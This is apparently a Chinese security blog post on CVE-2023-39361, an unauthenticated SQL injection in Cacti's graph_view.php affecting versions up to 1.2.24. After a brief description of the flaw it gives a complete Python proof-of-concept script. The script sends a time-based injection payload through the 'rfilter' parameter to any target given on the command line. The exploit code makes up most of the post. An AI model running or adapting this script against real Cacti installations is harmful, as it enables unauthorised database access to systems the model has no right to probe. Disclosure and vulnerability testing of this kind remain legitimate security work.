Cacti 未经身份验证SQL注入漏洞

0x00 前言

Cacti是一套基于PHP,MySQL,SNMP及RRDTool开发的网络流量监测图形分析工具。

Cacti是通过 snmpget来获取数据,使用 RRDtool绘画图形,而且你完全可以不需要了解RRDtool复杂的参数。

0x01 漏洞描述

漏洞存在于从graph_view.php文件调用的growt_right_pane_tree函数中。

在tree_content的情况下,通过html_validate_tree_vars函数验证用户输入,随后,如果tree_id参数大于0,则调用growt_right_pane_tree函数。

0x02 CVE编号

CVE-2023-39361

0x03 影响版本

Cacti<=1.2.24

0x04 测试POC

代码语言:javascript

代码运行次数:0

运行

AI代码解释

复制代码
import argparse
import requests
import sys
import urllib3


#import os
#os.environ['http_proxy'] = 'http://localhost:8080'


sleep_time = 10
payload = f""""OR ""="(("));SELECT SLEEP({sleep_time});-- -"""


def exploit():
    url = f"{target}/graph_view.php"


    params = {
        "action":"tree_content",
        "node":"1-1-tree_anchor",
        "rfilter":payload
    }


    print('[+] Sending payload...')
    print(f"[+] Payload: {payload}")
    session.get(url,params=params)
    
if __name__=='__main__':
    urllib3.disable_warnings()
    parser = argparse.ArgumentParser(description="Cacti 1.2.24 - graph_view.php 'rfilter' SQL Injection (guest access)")
    parser.add_argument('-t','--target',help='',required=True)
    args = parser.parse_args()
    
    target = args.target
    session = requests.Session()


    exploit()
相关推荐
星期天要睡觉29 分钟前
MySQL 综合练习
数据库·mysql
Y40900134 分钟前
数据库基础知识——聚合函数、分组查询
android·数据库
JosieBook2 小时前
【数据库】MySQL 数据库创建存储过程及使用场景详解
数据库·mysql
处女座_三月2 小时前
改 TDengine 数据库的时间写入限制
数据库·sql·mysql
酷ku的森2 小时前
Redis中的hash数据类型
数据库·redis·哈希算法
Arva .2 小时前
Redis
数据库·redis·缓存
DemonAvenger2 小时前
MySQL与应用程序的高效交互模式:从基础到实战的最佳实践
数据库·mysql·性能优化
博一波2 小时前
Redis 集群:连锁银行的 “多网点智能协作系统”
数据库·redis·缓存
HashData酷克数据2 小时前
官宣:Apache Cloudberry (Incubating) 2.0.0 发布!
数据库·开源·apache·cloudberry